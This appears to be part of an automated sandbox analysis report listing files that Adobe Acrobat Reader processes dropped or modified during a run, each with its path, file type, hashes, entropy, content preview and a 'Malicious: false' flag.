Preview:	2025/01/16-11:15:51.170 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/16-11:15:51.172 1c58 Recovering log #3.2025/01/16-11:15:51.172 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.153442224256782
Encrypted:	false
SSDEEP:	6:iO+xt+q2PcNwi2nKuAl9Ombzo2jMGIFUtUmkZmwqmEVkwOcNwi2nKuAl9Ombzo23:7+xovLZHAa8uFUtUmk/qmE54ZHAa8RJ
MD5:	9BE9F4983F8AC44E25A5AC0E6ADB055B
SHA1:	FE96EC9DFBEA39589D85AFC752A3C1E0299C6F4E
SHA-256:	2A5A769FF13F5F1A559048DCEA27070D94F86EBFD8B5F5BE8EB44D31F65FFA3C
SHA-512:	501FB19542A5FF7A4B15C78DBC97FBC430C6CDB57A5FABD6C4339C5664110D5652FCB8057C7DDA36CFCB79FBA764A79B6F7970433FF127DFCB0520F439B99C52
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:15:51.170 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/16-11:15:51.172 1c58 Recovering log #3.2025/01/16-11:15:51.172 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.97196132533112
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjasBdOg2Hrycaq3QYiubSpDyP7E4TX:Y2sRds4fdMHrd3QYhbSpDa7n7
MD5:	E0CEE0DEEB429F36A96914F4938C5274
SHA1:	F7EFF3D93E97BA08966D76D60EA79C7F9901330F
SHA-256:	6EF38535597A9FDF356430F59655212B48654D103F4933FE8FD3EA8FB2A0F686
SHA-512:	13AAE1F492894E500DF00436FAF6E5F7982963A61D4916B523DC4823AFDAA19EC29D8CC7CA8E230EE08CB406976DC51C79EA61505FA01194C3FF83B27813C1B5
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381604163239590","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":348227},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fac63316-e3da-47a4-a0bf-25e82d1aa1c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.97196132533112
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjasBdOg2Hrycaq3QYiubSpDyP7E4TX:Y2sRds4fdMHrd3QYhbSpDa7n7
MD5:	E0CEE0DEEB429F36A96914F4938C5274
SHA1:	F7EFF3D93E97BA08966D76D60EA79C7F9901330F
SHA-256:	6EF38535597A9FDF356430F59655212B48654D103F4933FE8FD3EA8FB2A0F686
SHA-512:	13AAE1F492894E500DF00436FAF6E5F7982963A61D4916B523DC4823AFDAA19EC29D8CC7CA8E230EE08CB406976DC51C79EA61505FA01194C3FF83B27813C1B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381604163239590","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":348227},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4509
Entropy (8bit):	5.2448491595665425
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPrx+DzVxLux/Y8DlZ:CwNw1GHqPySfkcigoO3h28ytPriJxLuv
MD5:	B8E0D95DDC7408D89FEC4B2D8D114CFD
SHA1:	6AFDE99970426176F830F23F43B2B9458BD13C45
SHA-256:	B84432777A3D9CF6509165A9157909E36FE610FC435D4BD9AE61FF2B498CC035
SHA-512:	7AEAF244EA36AD9B0C37EE876E8EB398E4F35CCDE5EAB34CBE79DF45947C09605B3DCA07F0C0218628D8B55DAE5E08F0C2D99A71A52478EDD7029EE1877EB0BC
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192624018502757
Encrypted:	false
SSDEEP:	6:iO+dT+q2PcNwi2nKuAl9OmbzNMxIFUtUdWZZmwqdJVkwOcNwi2nKuAl9OmbzNMFd:7+dqvLZHAa8jFUtUdy/qd354ZHAa84J
MD5:	0C13758AC2F46151624438AAD29E3ED7
SHA1:	55B0AAC9AEFD452DB9AC5D46E71374244D374BC0
SHA-256:	D77E1E82A2C97BAD5485835843E0CC4472E44767ED65BC74F0E5CFB82913447D
SHA-512:	F0DEF99DB0185FA27F3059ABC8714AE890A18599F880B68416448BA1BC2A8589E1DF77E93B22B369269219CFDF91AD9A1E2CEAEADF2F53D475B23B65F9E7B832
Malicious:	false
Preview:	2025/01/16-11:15:52.470 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/16-11:15:52.486 1c58 Recovering log #3.2025/01/16-11:15:52.502 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192624018502757
Encrypted:	false
SSDEEP:	6:iO+dT+q2PcNwi2nKuAl9OmbzNMxIFUtUdWZZmwqdJVkwOcNwi2nKuAl9OmbzNMFd:7+dqvLZHAa8jFUtUdy/qd354ZHAa84J
MD5:	0C13758AC2F46151624438AAD29E3ED7
SHA1:	55B0AAC9AEFD452DB9AC5D46E71374244D374BC0
SHA-256:	D77E1E82A2C97BAD5485835843E0CC4472E44767ED65BC74F0E5CFB82913447D
SHA-512:	F0DEF99DB0185FA27F3059ABC8714AE890A18599F880B68416448BA1BC2A8589E1DF77E93B22B369269219CFDF91AD9A1E2CEAEADF2F53D475B23B65F9E7B832
Malicious:	false
Preview:	2025/01/16-11:15:52.470 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/16-11:15:52.486 1c58 Recovering log #3.2025/01/16-11:15:52.502 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250116161556Z-245.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 154 x -152 x 32, cbSize 93686, bits offset 54
Category:	dropped
Size (bytes):	93686
Entropy (8bit):	1.6869029247150955
Encrypted:	false
SSDEEP:	192:K0QbcQlXn4jOHAx4yzbtxFFj/okiH44phGTyH25/ZO:KGQloqWbPja4kXW5/I
MD5:	5B8F3045C8874AD3EEB402BD6385456D
SHA1:	AA8C9C7A502715A7286D292380A96BA320DB518D
SHA-256:	73143B084E28E614EB5F2CBA378CA87D4A96A1820E3D276EE0ED27580335392A
SHA-512:	21BFC3665D7A2433658776D3D6109F7427154113C27BB7CD6B713774ABFB08DC566CD564C0FC944E873675A9EFD3D32D9411118025F2E74A28A6B91A8D8939F0
Malicious:	false
Preview:	BM.m......6...(.......h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4387250886870095
Encrypted:	false
SSDEEP:	384:yeaci5GEiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1IurVgazUpUTTGt
MD5:	888F78EE4997CB488FEF15B9F6A20ED9
SHA1:	65689BB2A9BAC3B232E9C1921329CB0538AFDE52
SHA-256:	2245D3E8FCFF6DCD29CB3FA2E01F083E2FFE1038086D2B809154A7A2A080827F
SHA-512:	7739A6BFEDD03E6ECAA1D9FB567D61370D2000B4299F18F8C999B38D6525FA96116789D226062CE2B596FAC6EF64EA66BA53784F12C07663E91B6F6BE554572C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7741543395989896
Encrypted:	false
SSDEEP:	48:7Mnp/E2ioyVDioy3DoWoy1CABoy1vKOioy1noy1AYoy1Wioy1hioybioyHoy1noN:7kpjuD0iABXKQi3b9IVXEBodRBkm
MD5:	8B806E1062D3DF4E7637428D89696C2E
SHA1:	6F20FE18CB1AE5111E84FE59D67372A39AAE5C2C
SHA-256:	9F9872AFD751471CEB7511D10F158C9C2FACC2E5454CD07B6B69488EE4820CC8
SHA-512:	8F5CA1B7BC627C1A3BD12843C47D752EB18F20201B6CC96640C2004FEA3297D6082E514E4AE3245FB2FD9ADA00CDDF896766E5DD9A14DE4C1379B4CE399BB8E1
Malicious:	false
Preview:	.... .c......_.Z...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7464849065063075
Encrypted:	false
SSDEEP:	3:kkFklTneVkfllXlE/HT8kwxtNNX8RolJuRdxLlGB9lQRYwpDdt:kKPV9T8hNMa8RdWBwRd
MD5:	30EF0777C7EE2AFC9E89E1E248876528
SHA1:	EA9C45DA58C866023BD093201A21D6AD45F8F02F
SHA-256:	9B3DE8F161EE82FEDFDA226AA7FC79F390B29F1060C9AD98E8A4D92C37B817BF
SHA-512:	60FEA6926B357EC83A50D1C09EEADCBA98F59D075123B0AF5A72CFB20B182DAB2EEC8E20AC8F9BED0359550ECC8F015696BA1185DC73019C96E2F89CA248A91A
Malicious:	false
Preview:	p...... ........`B..1h..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.127288504365508
Encrypted:	false
SSDEEP:	6:kKf19UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8DnLNkPlE99SNxAhUe/3
MD5:	96611A863325E338837231535ABCAE1C
SHA1:	58F26E8BAB149E45E64824F1841474754BFBF31D
SHA-256:	D728D30DC37681F237E04AB378A42FFAAD84F2EA0915F480103FA17E22EAC0A6
SHA-512:	025CBFE5B5005737B58C07DDDE7E6CC3A593CF624753F9410B6CD67356F1B0571CDCFD4306EB73A2D128C79B4313067D36D68AEDFDCCC9D80D13AE3F23B7D6F4
Malicious:	false
Preview:	p...... .........NZ.2h..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	228351
Entropy (8bit):	3.3898188882857125
Encrypted:	false
SSDEEP:	1536:qMKP+iyzDtrh1cK3XEivQ7VK/3AYvYwgF/rRoL+sn:FKPoH/3AYvYwglFoL+sn
MD5:	E50F0172166A22E3934BC9BE1230D217
SHA1:	5BC71ACD513E24B0DC4464B5F8303B53060AC253
SHA-256:	B0E3C9BB8985F3347035023EC394252407381B1F1BC8D775F6D3CC273101BF58
SHA-512:	CADECBD83A19CA83DDFCDA9F7F4B87775E94332FBC7254FE2A750F2FEC4C6766C2F3039A15021DC6BB83515F79878638BE5FC53DFFB54F722024613D048CC155
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.358244723901629
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJM3g98kUwPeUkwRe9:YvXKXVsqHNRsdTeOFBVGMbLUkee9
MD5:	EDB7463BC0281E44052E6D7C44A7746D
SHA1:	4C9C58D2B28ACFF2D3135F775ED8A06930FDF179
SHA-256:	2ADF46DEA302FF1ACFB2FF1F72339DF6B41666DA3CBFEABBC1F7D75523255D50
SHA-512:	B7DF3E3D9EB50E5D43DFC9826EAAD23C01D59543EC55E668B18B21F489250FC5609647FFF3FF3DF5CD757E31BFD70FD53454380EA36657D7195D711B8F1440B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292880395159116
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfBoTfXpnrPeUkwRe9:YvXKXVsqHNRsdTeOFBVGWTfXcUkee9
MD5:	CD33D5B43DAB9054BF2701F16A21129D
SHA1:	615A79FE2B0EF5CEC314485EA8AC20E79354C870
SHA-256:	CA07A9E422C73C95E6BB5AE1C700678BC2CFE48AD43FC5290AEB0A821402175D
SHA-512:	6433948C092ABC63EAC68AAAEEF3DB2FC37CEADFDA21E00AA780EAA031B86D152EEB32D21420E8C5ADE81F2270C8B7856DE19B4659F3A279EF9BC3F083538537
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.269963273378221
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfBD2G6UpnrPeUkwRe9:YvXKXVsqHNRsdTeOFBVGR22cUkee9
MD5:	307DAB7A44E7802B6CF44632CE499FD8
SHA1:	6014BE53C55B52CD3B51AC3D7A3EB58C6C9C8ACA
SHA-256:	CBF39B3E0074E2657D93F94B6549A2450D79D567EBB35562EC1D72BD2ED35108
SHA-512:	DA0603660F728E9F5B73AB2331D29F5938870309D50EEEB417C083C28E9BAFD0D72B25BA9CDB809AE6339F1355CC54A49EF7378DE6355E1B703EE4B2AC6BB85D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344943424866425
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJfPmwrPeUkwRe9:YvXKXVsqHNRsdTeOFBVGH56Ukee9
MD5:	A7C5B9140606613FCAF7F8E037503F15
SHA1:	ABB53F02BE5565F94DE59C90354BF04E3FF032DF
SHA-256:	96E7B15DCAA7FAEB58FB4383E8C8606BA733D4FCDA41247D5793611FE3881625
SHA-512:	30F05827F3D3C28D65802E3E1E1D1F371A98D189D9EFF277F930C3A94E0AD8F54DB6FD186036FB4743EB4069B27EBD1C69A2F0E7E9F33DACD0767BD1B1862D06
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6858429474579095
Encrypted:	false
SSDEEP:	24:Yv6XVDmeOipLgE9cQx8LennAvzBvkn0RCmK8czOCCS5:YvReZhgy6SAFv5Ah8cv/5
MD5:	BF2C54E2C0CC63589FA1B2C376BB4C2D
SHA1:	608FF0A9004FF2CDEA270860B136C233AA4167C5
SHA-256:	CC176E128DFE35617115C1D03D8EF6DC6C56D26708F2EEE9DA3FA04A83553C14
SHA-512:	F86DE74B1E53CC88B631FEAFC179EBEE9CCEFAA709A7EC81C9B41E385FF056E0873EF9DAB1F7EAD20E0AF02EE206DD37DC2D02DFF100781BFD9BE802A04A774B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95c54cf6-dcb9-4ec2-84b8-cbd8dac81b8e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737223289122,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278611251364466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOTksiJHNWWsGiIPEeOF0YlgEeoAvJf8dPeUkwRe9:YvXKXVsqHNRsdTeOFBVGU8Ukee9
MD5:	A4FA2B49FF13D2113BD0F8E131216BD2
SHA1:	CDB98954C051E1E0FF053748EF1E1E56C2754422
SHA-256:	824807D3E33E2D308B38BB975FE7B6CD358D39E01BEB8F94DEC79F11E1BC2F2C
